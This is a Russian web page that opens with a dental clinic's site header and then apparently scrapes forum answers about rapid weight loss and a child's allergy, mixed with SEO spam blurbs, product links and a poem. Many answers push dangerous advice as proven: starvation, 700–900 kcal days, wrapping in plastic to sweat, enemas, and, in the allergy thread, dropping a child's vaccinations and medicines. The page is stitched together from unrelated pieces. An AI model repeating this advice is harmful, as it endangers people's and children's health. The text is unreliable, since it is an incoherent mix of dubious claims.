Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Ааааааааа, срочно!!!!

Яна ...да забей ты на свидание )))

Движение и ещё раз движение!!)
Попробуй аэробикой заниматься - вполне можно дома "оторваться" :) ; фитнес и т. д.
Диеты не всегда помогают.

Похожи в солярий или автозагар..стройнее будешь казаться

Перво наперво - поставь в холодильник холодную воду... и каждый раз перед любым приемом пищи выпиваешь сначала стакан воды... потом в течении дня ешь несколько раз свекольник... (холодный борщ, только без колбасы и не на мясном бульоне). при этом можно есть любое мясо на второе и все чего хочешь, но в разумных пределах и только до 6 вечера. и третье. берешь полителен, обматываешься в проблемных местах. одеваешь сверху теплые вещи. включаешь музыку и танцуешь да упаду минут 40 или час. пару раз в день. через неделю будешь як ниточка. проверено и на себе ина подружках. если никогда не делала свекольник напиши мне на мыло скину рецепт. Удачи!!!

За неделю... Пипец подружка... Обмотай живот или что там тебе надо пищеой пленкой... Завтрак фрукты или овощи... и больше ничего. После завтрака прогулка не менее 30 минут. Наклоны в сторону 50 раз. Обед отполовинить или вообще не есть после 3 до 6 только сок или вода....После шести только прогулки! Удачи.

Посиди недельку на овощях приготовленных на пару, пить воду кипеч.

Не есть. Будешь худенькая и бледненькая как аристократка) Всегда надо быть в форме.

Та же фигня.1ое-как ни мучайся-лучше изможденного взгляда-оптимистическая улыбка.они (мужчины)10см.разницы абсолютно не замечают..а это 5 кг.веса,межу прочим.есть способ-кушайте только гречу.качки перед соревнованиями только так и приводят себя в порядок,как они называют.но. алкоголь нельзя.набираешься на этом долгожданном свидании с первого бокала вина..а штаны.лежа одевать пробовала?веришь,легче...главное,уверенность!

Дорогая чертовка купи новые штанишки и худей постепенно так быстро все равно ничто не поможет

Я сижу периодически на бостонской диете. Она обещает потерю веса 5-8 кг за неделю. Я сбросила 5 кг. Диета легкая, не голодная совсем, легко переносимая. Могу сбросить на майл, если хочешь.

Лучшая диета - закрыть рот.

ВОСЬМИДНЕВНАЯ ДИЕТА
Обещаемый результат: минус 5-7 кг.
Первые три дня:
9.00 - яйцо варёное вкрутую
13.00 - творог 125 г 0% 16.00 - грудка отварная 120 г
18.00 - творог 125 г
21.00 - яйцо варёное
Следующие 5 дней:
10.00 - кофе + плавленый сырок 50 г
12.00 - яйцо + помидор
14.00 - 1 яблоко
16.00 - 200 г творога + огурец
20.00 - бокал красного сухого вина
ТРЕХДНЕВНАЯ ДИЕТА
Эта диета рассчитана на 3 дня. Диета, в принципе, легко переносимая. После 3-х дней диеты следуют 4 дня нормального питания, но без излишнего обжорства.
1-й день:
1-й завтрак - черный кофе или чай без сахара, 1 ломтик хлеба, 2 ст. л. арахисовой пасты или варенья.
2-й завтрак - 1/2 грейпфрута.
3-й завтрак - 1/2 банки тунца в масле, 1 ломтик хлеба, 4 редиски. Обед - 100 г (сырого веса) курицы без кожи и жира, 1 стакан вареной зеленой фасоли, 1 стакан вареной свеклы, 1 хрустящий хлебец. Курицу тонко нарезать, добавить 1 ч. л. соевого соуса и, постоянно помешивая, быстро обжарить на сухой тефлоновой сковороде.
Ужин - 1 небольшое яблоко.
2-й день:
1-й завтрак - черный кофе или чай без сахара, 1 яйцо (в любом виде - вареное, всмятку, в виде омлета) , 1 ломтик хлеба.
2-й завтрак - 1 банан.
3-й завтрак - 1 стакан зернистого творога, 4 редиски, укроп, 5 крекеров.
Обед - 2 сосиски, 1 стакан вареной брокколи, 1/2 стакана морковки, 1 хрустящий хлебец. Вариант - можно заменить брокколи + морковь на 1 стакан диетического борща.
Ужин - Чай, 2 чернослива.
3-й день:
1-й завтрак - черный кофе или чай без сахара, 5 крекеров, 1 ломтик сыра.
2-й завтрак - 1 небольшое яблоко.
3-й завтрак - 1 вареное яйцо, 1 огурец (свежий или соленый) , 4 редиски, 1 ломтик хлеба.
Обед - 1/2 стакана тунца, 1 стакан вареной свеклы, 1 стакан цветной капусты, 1 хрустящий хлебец. Вариант: заменить тунец на 200 г (сырой вес) курицы, приготовленной, как описано выше.
Ужин - 1/2 небольшой дыни или маленькое яблоко.
Зайди на этот сайт, там 217 различных диет, выбери себе что нравится:
http://immunologia.ru/all-diet.html
или сюда, здесь 300 диет:
www.super-dieta.ru/index.html

Почему вес перестал падать?

В этих овощах уйму шлаков
гидроколонотерапия должна помочь
только перед ней надо обследоваться

Рыбу и мясо готовить только на пару, а овощи лучше будет употреблять в свежем виде. Сладкое и десерты должны быть только по праздникам, будничным блюдом это быть не должно. Самая быстрая диета это экспресс-диета...

Еш много

Это так называемый эффект плато. Вес останавливается и некоторое время не может никуда сдвинуться. Ваши действия в данной ситуации могут быть двух видов.
- продолжать систему питания, выбранную изначально и ждать. Сразу предупреждаю, плато длится всегда по-разному. У меня бывало и по месяцу и полгода. Главное - терпение и вера, что вес уйдёт.
- плато могло наступить и потому, что вы СЛИШКОМ мало ели. Организм начинает экономить, так как мозгу поступил сигнал, что наступил голод. При вашем росте вы можете есть 1250-1500 ккал в день. Это тот коридор, благодаря которому вы сможете похудеть, особенноу читывая, что вы занимаетесь физ. нагрузками. Наш организм умнее, чем мы сами - он охотнее будет сбрасывать лишнее, если ему будут давать нормально питаться. Проверено.

Зделай - "читинг"! подробности в инете!

Это свЯзано с весом мышечной массы)) и обменом веществ

Просто организм приспособился к данному типу питания, такие периоды называют мертвыми точками, могут длится и месяц и два.
А вообще все эти диеты- это бред. Поймите- дело не в том что вы много едите, просто вы едите не ту еду!! !
Вот рисовая диета- наверняка вы ели обыкновенный белый (рафинированый) рис- а вы знаете что он калорийнее макарон? )
кароче, почитайте МИРКИНА вот его сайт www.doctor-mirkin-v-i.narod.ru
У него есть замечательные книги, раньше проводил семинары. он просто учит как правильно есть, у него есть разгрузочные дни и т. п.
поверьте- это эффективнее любой диеты
Кстати у него ваш вопрос побробно описывается и он рассказывает и объясняет как для домохозяек. Он не просто какой-то там умник- он врач. Этой проблемой ( ожирения ) - он занимался сразу после института.
Я сам за месяц без проблем потерял 15 кг ( за месяц, хотя по его книгам- это плохо, надо не более 5 ) и при этом не чувствовал голода и дискомфорта.
А в общем за три месяца -25 кг. Было 130 кг при росте почти два метра и что самое обидное- не пузо как у всех мужиков, а жопа- как у девушек.
Сейчас время от времени набираю вес- но тут же принимаюсь к разгрузочным дням и все приходит в норму.
А почему набираю вес? - да очень просто: люблю сладкое, мучное, жирное) )
В общем удачи.
И не смотрите что много буков- просто прочтите. Может и правда вас заинтересует то что они пишет. Но попытка не пытка ;)

Рецепт эффективной диеты на овощном супе. Простые блюда из овощей для быстрой потери лишнего веса.Диет на овощах очень много, чередуя популярные методики, несложно нормализовать вес без строгих ограничений в питании.

Попробуйте день-два не сидеть на диете, а потом возобновить

Утром на тощак в стакан кипятка чайную ложку мёда и так же яблочного уксуса (у нас он в аптеках продаётся) , избавляет от тяжести в желудке и чёт ещё, и в еду добавляй (можно в кефир, в густые соки) Клетчатку сибирскую (тоже есть в аптеках) , при попадании в желудочно-кишечный тракт она разбухает, что способствует более быстрому утолению голода, продвигаясь, очищает стенки сосудов, не усваивается и выводит из организма шлаки и токсины. Сама этим пользуюсь, довольна результатами.

Изменился метаболизм...

Почему вы не выясните причины такой огромной прибавки в весе?
может быть надо что то лечить, а не морить себя голодом

Если хотите похудеть и сохранить вес, не стоит голодать или сидеть на монодиетах. Организм накажет за это потерей здоровья, а КГ вернутся, прихватив с собой "друзей". Надо просто ПРАВИЛЬНО питаться часто, но понемногу, устраивать 1-2 разгрузочных (но не голодных! ) дня в неделю + элементарная физическая нагрузка. Например, быстрая ходьба доступна всем и платить за это не надо. Желаю удачи!

Лето отличное время для быстрых диет. Ленивая диета на овощах и фруктах. Система питания рассчитана ровно на неделю, но меню диеты можно в дальнейшем использовать и в качестве разгрузочных дней, на 1-2 дня.

Может это Вы не одна уже?)))

Лучше не ешь после шести (если ты ложишься спать в десять часов) и есть три раза в день. мне помогает!

В туалет нужно ходить чаще-использовать клизму с укропом.

В первое время вы потеряли много жидкости, поэтому так стремительно худели, а сейчас ваш организм делает запаси по случаю тревоги! Только не сорвитесь. Организм привыкнет и все будет нормально. Но витаминчики стоит пить, а то волосы начнут выпадать и ногти ломаться.

Нужно Вам заняться гимнастикой, аэробикой или танцами. Бегом и плаванием.

Достоинства Быстрый сгон веса, можно себя побаловать в процессе диеты мороженым. Недостатки Не каждый организм сможет приспособиться, есть риск быстро набрать вес обратно.Перепробовала много способов и белковая диета, и диета на овощах, и рыбная.

Идет перестройка

Дело не в диете. Скоро будет тепло - самое время с работы домой идти пешком - не меньше часа ходьбы. Нужно как можно меньше пользоваться такси, личным и общественным транспортом, а больше двигаться самой. Ходьба - это почти тот же бег - нагрузка та же - только гораздо более удобный вид спорта для организма.

Организм приспособился к этой диете

Передумал - вот и перестал..

Просто, чем меньше килограмм, тем тяжелее их сбросить

Ну, начнем, пожалуй. Соберем самые популярные диеты для быстрого похудения и рассмотрим их.Диета 9. В сезон фруктов, овощей и зелени очень легко придерживаться легкой диеты.

Такие ограничения в питании приносят вам большой вред! Наша пища и без того очень сильно обеднена на содержание витаминов, минералов и т. п. - веществ, жизненно необходимых нам для полноценной и качественной работы нашего организма. То что вы набрали вес, есть результат дефицита питания ( на клеточном уровне) , отсюда и нарушения обменных процессов. Поэтому подходите к решению вашей проблемы не используя методики диетологии ( они давно устарели) , а используя методики Нутрициологии !!!Т. к. мы с вам в друзьях, я готов пообщаться с вами лично и предметно все вам объяснить !

Займитесь лечебным голоданием и не мучате себя идиотскими диетами.

Нужно есть салатики и плавать в бассейне.

Кушать надо 6 раз в день. На завтрак - белок, перед сном белок (можно мясо - не навредит.) . Вообщем, советую Вам есть только самые обычные продукты, такие как яйца, мясо, рыбу, молочные продукты. Всяких там овощей поменьше - это шлак. Чтобы переварить белок организму надо очень потрудиться, а еще он - строитель мышечной ткани. Если вы ходите худеть быстро - займитесь фитнесом при таком питании, или просто побольше ходите в день. (Нагрузка на организм - отличная штука)

Наверное организм уже перестроился, привык, адаптировался.

Особенности быстрая потеря веса, но довольно тяжелая диета принимать в пищу можно только один вид суп всего сущесьвует 4 варианта приготовления супа .Все популярные овощные диеты меню, особенности, преимущества, недостатки диет на овощах.

Тронет ожиренье нагих, \ Трижды заплетутся следы.. . \ Видимо останусь в живых \ Ежели прикинусь слепым. Александр Горохов 1968 "У Голубой лагуны". Том 4Б В кружевах себя не найдем.. .
Деньги в доме.. Это хорошо.. Постучите по дереву -пусть все стабилизируется.. .

1) нарушился обмен веществ (наруш. ф-й щ/ж), 2) застой жидкости в организме (водно-солевой обмен), 3) период "плато" у всех кто сидит на диетах-временно вес не сбавляется никак даже несмотря на физ. тренировки.

Куда еще

Как можно скинуть 20 кг за 2 месяца???

Меньше жри

Такой палочкой-выручалочкой оказываются экспресс диеты для быстрого и эффективного похудения за неделю.Это популярная гречневая диета, при помощи которой худеющие достигают наилучших результатов, похудения на овощах и фруктах, не единожды проверенная...

Пить один кефир, но это жестко можно сидеть на пустой гречке, можно сидеть на зеленых яблоках, а если это чередовать, то вполне возможен данный результат, если конечно возраст не переваливает за 30

Так быстро только с большими проблемами для здоровья в будущем
лучше помедленней
способов много разных, один из них в источнике

Липосакция.
Либо не жрать.

Пить воду, чай, есть овощи, отказаться от сладкого (я раньше за 2месяца 25кг потеряла, правда я на работе не ела, а только воду пила, вела дневник, куда записывала сколько съела и считала калории, больше 900 калорий в день нельзя, чем калорий в день меньше, тем похедение идет быстрее), не есть после 6. почитайте книги: ЕКАТЕРИНА МЕРИМАНОВА"система минус 60", и С. В. Дрёмов, А. В. КОНДРАШОВ"ДИЕТА ДОКТОР БОРМЕНТАЛЬ"(выпущена основателями центра похудения, по ней надо есть, когда сил вытерпеть голод нет), или МИХАИЛА ГИНЗБУРГА книги. все интересные книги. удачи вам и достичь желаемгог результата

Это не реально! вы угробите свое организм!

Капустная диета это диета на 10 дней. По сравнению с другими диетами она не отличается быстрой результативностью, однако это не мешает ей бытьПри низкой калорийности этот овощ содержит абсолютное большинство необходимых человеческому организму витаминов...

Высока ваша цель, но вполне выполнима! Все говорят, если скидываешь быстро, то и набираешь так же. Я так не считаю, потому что скинул а дальше можно контролировать свой вес! У меня самой постоянные проблемы с весом, я очень склонна в полноте. Вот что я вам посоветую: В первые 3 дня сидеть на варенном рисе, без сахара, без соли и без масла. Потом 3 дня на овощном салате, по утрам можно выпивать час с любым мучным это обязательно. Пить 2 литра воды в сутки. Вот так чередуя 14 дней проходят, смотрите на результат. Если ваш результат 6 кг, продолжайте в таком же духе, а если меньше уберите рис и кушайте только овощные салаты. сразу скажу вам, не ограничивайте себя в овощях, а когда вам будет хотеть по есть нормально пейте воду. Не забывайте, каждый день по чайной ложке масла подсолнечного, можете в еду его добавить. После двух недельной диеты можно внести изменения, сами выбирайте самое не калорийное. Постоянно считайте калорий. В сутки не больше 700 кал. Плюс любые упражнения по 30 мин в день. А время до 18 часов и после без разницы, кушайте тогда, когда вам хочется

20 кг за 2 месяца это не только потеря веса но и потеря здоровья, нарушится обмен веществ, можно и до гастрита дойти еще хуже до язвы желудка, нормальная потеря веса при диете в месяц это 2-3 кг, уж никак не 10 за месяц, это чушь полная.
если хотите потом ходить с ломкими волосами, которые при расчесывании будут оставаться на расческе, с прыщами по всему телу, с обвисшей грудью и прочими обвисшими местами, то худейте, травите себя.... потом сами будете мучаться и с желудком и с внешностью.

Про аллергию.

А мы так и не поняли, на что была аллергия. К году всё прошло. Ниже написано про нормофлорины. Хорошая штука. Но лучше пить оба вида. http://normoflorin.ru/

Меню самой быстрой диеты на неделю. Меню строгой диеты рассчитано на трехразовый прием пищи. Следует помнить, что при жесткой диете для быстрого похудения потребление жидкости должно быть максимальным не менее 2-х литров . При необходимости овощи и...

А пробы на аллерген брали?? ? Если нет, то все усилия напрасны. Может у ребенка на пыль аллергия, или на пыльцу. У моего например, была среди прочих, аллергия именно на зеленые яблоки. Так что вам более детального исследования не избежать.

Овсянка и говядина-сильные аллергены, кстати. Ну и может аллергия быть на детские кремы, мыло. присыпку, масло, средства для купания, сама вода, нитраты и химия в овощях и фруктах. Тут только методом тыка. Я своему убидара вообще всё,а потом добавляла по 1 продукту, быстро выявила аллергены. ну и плюс можно сдать анализы на аллергены, это 12 лет назад было сложно с этим..

Исклчить прививики и антигистаминные. вообще все лекарства - сажаете ими печень, вот вам и высыпания.
могу посоветовать, что вклчить - нормофлорин Б или наринэ.
мы пили курсом энтеросгель 10 дней, ну, вам дней 5 - по 3 р в день.
даже врача Вам не могу хорошего посоветовать.... не дай Бог ещё на этом фоне - слабая печень - лямблии появятся - тогда можете вешаться. Лекарства нельзя - печень, и делай с ними, что хошь... .
у нас тоже в вашем возрасте первые признаки аллергии начинались. мы, как раз сделали гепатитную. после АКДС стало хуже. с 8 мес до полутора лет могли есть ТОЛЬКО грудное молоко :( не доведите до этого. это жопа.
!
!
нормофлорин или наринэ- ребенку, не Вам!

Гипоаллергенная диета
Диетотерапия, основанная на исключении из рациона выявленных пищевых аллергенов, является основной терапией при лечении атопического дерматита.
Рекомендуемые пищевые продукты
Употреблять с осторожностью
Высокоаллергенные продукты (рекомендуется исключить)
Прочее
Кукурузное или оливковое масло
Чай (некрепкий)
Отвары трав
Жевательная резинка
Орехи
Халва
Мед
Квас
Уксус
Майонез
Перец
Горчица
Чеснок
Корица
Желток яиц
Макаронные и мучные изделия
Грибы
Углеводы
Хлеб с отрубями несдобный (пшеничный и черный несладкий)
Сушки простые
Крекеры
Сухое печенье
Сухари
Зефир
Пастила
Мармелад яблочный (в небольших количествах)
Шоколад
Кофе
Какао
Торты с кремом
Сдобный хлеб
Пряники
Мороженное
Рыба
Судак
Треска
Хек
Жирные сорта рыбы (красная и белая)
Рыбные консервы
Икра (красная и черная)
Другие морские продукты
Мясо
Говядина паровая, вареная
Кролик
Индейка
Конина
Нежирные сорта свинины (в отварном и тушеном виде)
Вареные колбасы
Сардельки и сосиски
Субпродукты (печень, почки) .
Курица
Куринный бульон
Утка
Гусь
Свинина
Баранина
Телятина
Копченые колбасы
Деликатесы
Ягоды
Белая смородина
Крыжовник
Белая черешня
Брусника
Черника
Черная и красная смородина
Клюква
Арбуз
Земляника
Клубника
Малина
Облепиха
Виноград
Вишня
Фрукты
Яблоки (зеленые)
Слива и чернослив
Белая черешня
Груши (зеленые)
Черника
Сухофрукты (сушеные яблоки, чернослив)
Бананы
Персики
Абрикосы
Дыни
Цитрусовые
Красные яблоки
Хурма
Гранаты
Все тропические фрукты (киви, фейхоа, манго, папайя, ананасы и др. )
Консервированные соки, компоты
Сухофрукты (изюм. курага, финики, инжир)
Овощи
Картофель (вымоченный 10–12 часов)
Капуста белокочанная
Петрушка
Укроп
Листья салата
Кабачки
Патисоны
Свежие огурцы
Шпинат
Зеленый салат
Капуста цветная
Капуста брюссельская
Бобовые
Зеленый горошек
Репа
Тыква
Брюква
Помидоры
Томатный соус
Редис
Семена подсолнечника
Баклажаны
Свекла
Морковь
Красный и зеленый перец
Щавель
Крупы
Гречка
Геркулес
Рис (вымоченный)
Перловка
Манная крупа
Пшеничная крупа
Крупа Артек
Молочные продукты
Кисломолочные продукты
Сливочное масло
Не острые сорта сыра
Пресное молоко
Простокваша
Ряженка
Сливки
Сметана
Детские сливочные сырки
Плавленный сыр
Острый сыр со специями
Далее: Уход за кожей

Может у ребенка вообще непереносимость лактозы, оч редко, но бывает. Если же периодически, постарайтесь записывать пару дней все свои движения и перемещения с ребенком, понаблюдайте после чего его высыпает. У нас тоже было, в итоге я заметила что ребенка высыпает после прихода бабушки, оказалось аллергия на шерсть (у нее дома много животных, а на одежде все равно шерсть остается) . Сдавать пробы на аллерген в основном бессмысленно, во-первых их очень мало где берут до трех лет, а во-вторых, даже если возьмут никто не даст гарантии что анализ аллерген покажет, у маленьких очень низкий показатель и он может входить в норму и стоят эти анализы ого-го. На один продукт или там пыль или еще что 400-500р.

Диеты на овощах всегда считались наиболее полезными и вкусными способами избавиться от лишнего веса, поскольку в основе такихСвекла издавна известна своей способностью быстро выводить токсины из организма и предотвращать появление и рост злокачественных опухолей.

Хочу похудеть на 12 кг за месяц. Реально ли? Реально ли похудеть на 12 кг за месяц?

Нет

Как же быстро и правильно похудеть на овощах? Примите к сведению несколько основных принципов. Овощи содержат мало углеводов, а последние, как ни крути, организму необходимы как залог энергичности и нормального самочувствия. Поэтому, находясь на овощной диете...

Нет.

Если Ваш вес на сегодня - более 100 кг, то реально, а если менее 50 кг, то нет.

Нет конечно. Но за пол года это возможно, если будете пить таблетки орсотен слим. Я с ними за пол года на 11 кг похудела и на диетах не сидела, пила их 3 раза в день.

Давай вместе худеть на 12 кг. Я сегодня начала гречневую диету. Однажды мне удавалось на ней похудеть на 16 кг. за три недели.. . Это монодиета. Про эту диету все подробно есть в инете.

Можно! Но скините восновном не жировую массу а содержимое кишечника и воду а так чисто жировой массы можно килограvмов 5 скинуть.... Для здоровья не вредно сбрасывать в месяц 2 кг. . Есть ещё вариант сделать липосакцию !

Секрет похудения быстрой диеты заключается в следующем основу диеты составляют блюда, богатые пищевыми волокнами клетчаткой .Диета понравится тем, кто приветствует изобилие овощей и фруктов на столе, последователям вегетарианства, кто соблюдает посты.

Мне вот тоже столько надо скинуть.
В вашей ситуации - смотря с какого веса.
У меня вес маленький, если скидывать, то только с жесткими ограничениями.
Если ваш ИМТ больше 25, то реально, на любой диете.
Если меньше - спорт и диеты по-жестче.
Таблетки не пейте ни в коем случае, никакие
И полностью согласна с комментом выше - 4 кг жира (чистого жира) это все, что вы потеряете. Остальные 8 кг - вода, мышцы, органы и "мусор"

Ооочень сложно если вы весите 100 кг то возможно..

Ага можно.. ) на овощях))))

А какая причина лишнего веса?
ищите причину и действуйте. в прочем нефиг сидеть здесь, поднимите свою попочку и занимайтесь делами, а не сидите сиднем на попе. от этого результата ноль.
порции уменьшать. меньше сладкого, мучного. обруч крутите, спортзал.

Если сбрасывать весь очень быстро, то он потом так же быстро возвращается. Здесь нужно действовать постепенно, применяя комплексный подход: спортивные занятия, правильное питание, плаванье, массаж, , можно делать обертывания для похудения, использую косметические средства. (мне понравились антицеллюлитные кремы от Guam guam.ru/archives/474)/. В любом случае желаю вам удачи в достижении идеальной фигуры.

Овощная диета. Преимущества и польза похудения на овощах.Способствуют быстрому сбросу веса также диетические программы на определенных видах овощей, обладающих мочегонными свойствами, которые помогают вывести из организма всю лишнюю жидкость и...

Как сбросить 5 кг,за месяц?

Диета)) ) на овощях и фруктах сиди и зелёный чай.. . и + физические нпгрузки (спорт любой)...

Помимо сброса веса, диета быстро и эффективно укрепит ваш организм. Из рациона полностью исключаются сахар, соль и алкоголь. Овощей можно есть больше, чем указано в меню, а вот фруктами увлекаться не стоит.

МЕНЬШЕ КУШАТЬ НАДО!!!!

Кто-то из знаменитостей сказал: "Лучшая диета - этол попросту перестать жрать"!!!

Превысить затраты энергии над поступлением. Т. е. есть столько, чтобы недостаток организм добирал из собственных запасов. Например, еда на 1000 ккал в сутки заставит организм дополнительно сжигать 200 - 500 ккал из собственных запасов.
А КАК это сделать - на Ваш выбор. Лучше всего - есть маленькими порциями, н часто, через каждые 4 часа.
Но при резком похудении ( быстрее 200г в день) организм не успевает перестраиваться. Нарушается работа сердца и сосудов, печени и почек. Продукт окисления не успевают выводиться, организм самоотравляется... .
Прикинь, в килограмме жира содержатся 140 м сосудов и капилляров! Организму надо как-то переработать их, перераспределить кровоток, перестроить систему клеточного питания.... Ну и т. д. При похудении КАЖДЫЙ орган, включая мозг, испытывает стресс.

Если в платьице нарядное не влезает попа толстая,
А напялить платье хочется, но мешают шесть котлеточек,
Перед ужином схомяканных, шоколадка и три булочки.
После ужина добавленных ...и кефира поллитровочка,
Та что на ночь глядя выпита
Выход здесь один, товарищи: Топаем в аптеку ближнюю,
Там мы купим чудодейственный пластырь, что для похудания.
Надо на себя наклеивать .Да, пожалуй, надо парочку.
Или даже штучек несколько - это, братцы, средство верное.
Когда в приступе хомячества
Кушать нам опять захочется, достаем из сумки пластырь мы
И им рот себе заклеиваем, и смотрите, чтоб ни щелочки
Не осталось и не дырочки! Потому что морда хитрая
Сквозь игольное отверстие слопает верблюда запросто,
А котлеток даже несколько
Или булочку изюмную, И когда тот пластырь накрепко
Прирастет ко рту хомяцкому,
Тут начнется чудо чудное - скоро талия появится
А потом и попа стройная.. . запросто вольется в платьице
И пойдет она кокетничать !!!В разны стороны повиливать!
Улыбаться и подпрыгивать, и всем книксены показывать
И тормашками поигрывать!

Это реально: не есть мучное, сладкое, картошку и не пить алкоголь. соответственно кока-колу всякую и соки из пачек ( которые тоже содержат сахар) Ну и жирного поменьше. Реально похудеешь на 5-6 кг. а если еще и физ нагрузки добавишь - вообще супер

5 кг за 5 дней. Куриная диета. Кушаем только отварную курятина без кожи, крупы, фрукты, овощи, в том числе и салаты из них, крупы.Обсудить быстрые диеты на форуме.

Http://www.galya.ru/cat_page.php?id=52925&frommaillist=1

Без разумной диеты и физ. нагрузок никак. А если добавите клинически испытанные, сертифицированные ср-ва, чтобы не страдать от этого дела, то результат будет налицо. Напишу, если интересуетесь, что пить.

Я сбросила 4,5 НО!! ! с помощью диетолока и персональной диеты....

Диета СУПЕР худеют многие)) ) главное не останавливаться на достигнутом.... удачи
Диета клиники Майо
Ингредиенты для диетического супа:
• Силдерей – 1 пучок можно крень сельдерея
• Лук репчатый – 6 штук
• Помидоры – 3штуки (можно консерв. в собственном соку)
• Капуста – 200 грамм
• Кубик куриный – 2 штуки
Способ приготовления:
Все ингредиенты порезать небольшими кусочками, залить водой, довести до кипения и варить до готовности овощей, пока они не разварятся, после чего добавить куриные кубики, посолить по вкусу. Суп надо есть всегда, когда возникает чувство голода.
День первый. Суп и фрукты. Вы можете, есть любые фрукты, кроме бананов. В дынях и арбузах меньше калорий, чем в большинстве других фруктов. Ешьте только суп и фрукты. В качестве питья использовать не подслащенный чай или кофе (без молока) , клюквенный сок или воду (как можно больше) .
День второй. Суп и овощи. Можете есть все овощи какие хотите (сырые, свежие или консервированные) . Допустима и листовая зелень. Ешьте все это с супом, пока не насытитесь. Держитесь подальше от сушеных бобовых, зеленого горошка и кукурузы.
Во время обеда в этот день можете съесть печеную картошку с маслом. Не ешьте никаких фруктов. Пейте воду.
День третий. Суп, фрукты и овощи. Ешьте суп и все овощи и фрукты, какие хотите, исключив только печеную картошку. Пейте воду. Если вы действительно в течение 3 дней полностью придерживались диеты, то вполне могли потерять к этому времени 2,5-3 кг.
День четвертый. Суп, фрукты и овощи, включая бананы и снятое молоко. Можно съесть 3 банана и выпить так много воды. Сколько получится, параллельно с супом. Ешьте так много супа, свежих овощей и фруктов, сколько вам хочется, но бананов только 3!
День пятый. Говядина и помидоры с супом. Можете съесть 300-800гр. Говядины или банку консервированных помидоров (или только свежих – сколько хочется) . Постарайтесь выпить 6-8 стаканов воды в этот день. Хотя бы раз в день съешьте суп.
День шестой. Говядина и овощи (особенно листовые) плюс суп. Говядину и овощи ешьте досыта. Если у вас есть желание, можете съесть 2 или 3 бифштекса и все зеленые листовые овощи, какие хотите, но никакой печений картошки. Пейте воду.
День седьмой. Коричневый рис, фруктовый сок, овощи и суп. Сегодня вы можете есть коричневый (необдирный) рис, не подслащенный фруктовый сок и овощи. Рис можно добавить к супу, а можно к рису добавить овощи – резанные лук и помидоры, цветную капусту. Не запрещается приготовить овощи с карри. Пейте воду.
К концу седьмого дня если вы строго соблюдали диету, вы потеряете от 4,5-8 кг.
Категорически запрещены: хлеб, алкоголь, газированные (шипучие) напитки. Ничего нельзя жарить или готовить с добавлением Жира.
ОБЩИЕ ПРАВИЛА
• Строго придерживайтесь рекомендаций на каждый день. Не допускайте никаких отступлений и фантазий.
• Взвешивайтесь по утрам.
• Ешьте суп каждый раз, как только вы начинаете испытывать голод.
• Будьте осторожны с маслом – его можно употреблять только раз в неделю с печеной картошкой.
• Тщательно убирайте с мяса весь жир. С птицы снимайте шкуру.

Как за недельки 2-3 сбросить 5-6 кг?

Много бегать, мало кушать.

Чем жестче быстрая диета, тем она эффективнее. Пожалуй, самая жесткая диета для быстрого похудения это жокейская диета.Их меню богаты на все необходимые питательные вещества. Но только овощи и чернослив играют в них роль катализаторов, которые...

Одевай мног одежды и бегай
хороший способ
я так перед россией 3 кг сбровил

Можно на овощях на одних, и рыбке посидеть, и пару разгрузочных дней перед этим усртроить, на кифире и гречке. отличный результат) но это на экстренный случай! потомучто потом когда не дай бог сорвёшся, наберёш в 2 раза больше чем сбросила, и огда здравствуй тренажор, и уже нормальная сбалонсированя диета, и всё впорядке!

Есть много разных диет, можно следовать разным, но ты можешь последовать необременительным моим советам. Можно есть продукты, которые помогают сбросить вес:
КАПУСТА (Витамин С растворяет жир, калий регулирует водообмен + мало калорий)
ЙОГУРТ (Кальций ускоряет обмен веществ, лактоза гасит голод)
МОРСКАЯ РЫБА (Улучшает работу щитовидки, соответственно ускоряет обмен веществ)
ГРЕЙПФРУТ (Витамин С и горькие вещества регулируют пищеварение и улучшают обмен веществ)
МАТЕ (Большое кол-во микроэлементов + ускоряют метаболизм)
АНАНАС (В его мякоти есть фермент бромелин кот. расщепляет жир) . ЕШЬТЕ ВСЁ, НО ПОНЕМНОГУ!! !
ЗЕЛЁНЫЙ ЧАЙ - РАЗРУШАЕТ ЖИРОВЫЕ КОМКИ
АСКОРБИНКА (ЛИМОН) - НАЛАЖИВАЕТ ЖИРОВОЙ БАЛАНС
ХВОЩ - ВЫВОДИТ ЯДОВИТЫЕ ВЕЩЕСТВА, МЯГКИЙ ДИУРЕТИК
АВОКАДО - ДЛЯ ВСЕГО. АРБУЗ
БРОККОЛИ - витамин С (большое количество)
ПОМИДОРЫ - СНИЖАЮТ ТЯГУ К СЛАДКОМУ
+ВЫПИВАТЬ ЖИДКОСТИ ДО 2 ЛИТРОВ В ДЕНЬ.
РАЗГРУЗОЧНЫЕ ДНИ:
Кефирный. Кефир способствует выведению конечных продуктов жирового обмена, улучшает пищеварение, избавляет от чувства тяжести в желудке, улучшает цвет лица. Положительный эффект ощущается в течение часа - за это время усваивается 91% кефира. Ноу-хау: 1,5-2 л обезжиренного кефира, ацидофилина, простокваши или йогурта без сахара раздели на 5-6 порций и выпей в течение дня. Чтобы голод не мучил, каждый раз принимай 5-6 таблеток пищевой целлюлозы, создающей ощущение наполненного желудка.
Апельсиновый. Завтракай, обедай и ужинай апельсинами - не менее 1,5-2 кг в день. В каждом - 45 мг кальция и 100 мг (суточная доза! ) витамина С. Оранжевая мякоть действует как мягкое слабительное, способствует выведению из организма шлаков, токсинов и избытка жирных кислот, поступивших с пищей. В апельсине много клетчатки, утоляющей голод, и всего 40 ккал на 100 г. Ноу-хау: Можно приготовить оранжевый салат из 6 апельсинов, 4 морковок, 0,5 кг белокочанной капусты, чашки виноградных ягод и 4 чайных ложек кунжута. Морковь потри на мелкой терке, остальное порежь, заправь лимонным соком, смешай - салат готов! Смешай свежевыжатый апельсиновый сок с грейпфрутовым (по вкусу) - такой коктейль действует как сжигатель жира и снижает аппетит.
Обязательно интенсивные занятия спортом, хотя бы 3 раза в неделю-бег, занятия на пресс, кручение обруча, гимнастика, спорт, танцы, шейпинг, плавание.

Как говориться в погаворки:
"завтрак - съешь сам, обед - раздели с другом, ужин - отдай врагу"
смысл такой, завтрок съешь сам, обед съёшь на половину ( можно один суп) , от ужина откажись, выпей лучше биокефирчика.

